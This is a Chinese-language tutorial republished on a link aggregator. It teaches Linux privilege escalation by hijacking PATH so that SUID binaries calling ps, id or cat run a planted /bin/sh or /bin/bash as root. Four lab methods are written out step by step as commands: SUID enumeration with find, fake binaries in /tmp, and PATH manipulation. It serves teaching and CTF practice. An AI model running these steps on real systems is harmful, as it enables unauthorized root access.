84

在Linux中使用环境变量进行提权

 6 years ago
source link: http://www.freebuf.com/articles/system/173903.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到 ‘.’ ,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

b6ZNzy7.jpg!web

正如你在demo.c文件中看到的,我们正在调用ps命令。

riqEzmf.jpg!web

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell

7ZNZN3y.jpg!web

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

AvqMviy.jpg!web

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

iQjaYfq.jpg!web

Echo命令

cd /tmp
echo “/bin/sh” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

ZveAze2.jpg!web

Copy命令

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami

yqMbuuf.jpg!web

Symlink命令

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

IvEfUjm.jpg!web

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

7ZRfEru.jpg!web

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

YziM3mR.jpg!web

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/script
ls
./shell2

3yE3Mv6.jpg!web

Echo命令

cd /tmp
echo “/bin/sh” > id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell2
whoami

QjiyEfY.jpg!web

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

u2YvEvF.jpg!web

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj

eUZBjeN.jpg!web

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/
ls
./raj

ZZRvYz3.jpg!web

Nano 编辑器

cd /tmp
nano cat

现在,当终端打开时输入/bin/bash并保存。

ZvAfYzv.jpg!web

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami

RnEJ7jV.jpg!web

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

FrmeIbB.jpg!web

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

ls
gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

feqURzV.jpg!web

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/script
ls
./ignite

ymMfa2I.jpg!web

Vi编辑器

cd /tmp
vi cat

现在,当终端打开时输入/bin/bash并保存。

YNJBjqa.jpg!web

chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami

MzUFF3f.jpg!web

*参考来源: hackingarticles ,FB小编 secist 编译,转载请注明来自FreeBuf.COM


Recommend

  • 15

    相信对看了前面几节内容的朋友来说,在 linux 中开发 C语言程序已经不在话下了。不过,不知道大家注意到没,我们自己写的C语言程序编译后,要想在 shell 中执行,往往还要将可执行程序的路径也输入。

  • 13
    • www.luzexi.com 4 years ago
    • Cache

    linux环境变量简介

    linux环境变量简介linux环境变量简介。这个话题已经很老了,我只是重新温习一遍旧的知识而已。顺便熟悉下资料整理工具OmntOutliner。我们在使用android-sdk,android-ndk,jdk等众多软件时都会用到linux环境变量的配置。所以我觉得重点介绍下还是很有必...

  • 9
    • aimuke.github.io 4 years ago
    • Cache

    linux 环境变量

    linux 中变量分两种: 用户变量:对用户生效的变量,同一个用户登录的时候都有效, 使用 env 访问 shell 变量:当前shell 中的变量,包含了shell 对应用户的变量, 使用 set

  • 7
    • axionl.me 3 years ago
    • Cache

    Linux 用户环境变量设置

    初等記憶體「 一個你知道的地方,和一個沒有酒的故事 | 言文 」Linux 下的用户环境变量配置常显得十分琐碎,如 .xprofile、.pam_environment 亦或是各种 shell 配置文件。.xprofile 受限于 x1...

  • 8
    • blog.lilydjwg.me 3 years ago
    • Cache

    Linux 的环境变量怎么设

    Linux 的环境变量怎么设 本文来自依云's Blog,转载请注明。 ...

  • 9

    环境变量几乎在每种命令行环境中都是很有帮助的,自然包括 FreeDOS 。来源:https://linux.cn/article-13995-1.html作...

  • 0
    • unique-pure.github.io 3 years ago
    • Cache

    Linux常用命令、管道、环境变量

    1 Linux常用命令1.1 系统状况top:查看所有进程的信息(Linux的任务管理器)。 打开后输入M:按使用内存排序; 打开后输入P:按使用CPU排序; 打开后输入q

  • 8
    • wwj718.github.io 2 years ago
    • Cache

    利用CSRF漏洞对Open edX进行提权

    这个世界上只有两种系统,一种是被黑过的系统,一种是被黑了也不知情的系统 今天一早@MT在群里发了一个漏洞报告Cross Sit...

  • 6
    • blog.51cto.com 2 years ago
    • Cache

    Linux环境变量 & 进程地址空间

    Linux环境变量 & 进程地址空间 推荐 原创 玄鸟轩墨 2022-08-22 09:23:24...

  • 6

    在上篇文章我们了解了进程的状态及Linux系统的进程状态,本篇我们主要了解进程优先级及环境变量。1.进程优先级说到优先级,我们首先要清楚什么是优先级,和权限有什么关系呢?优先级是进程获取资源的先后顺序 ,而权限呢?谈的是能不...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK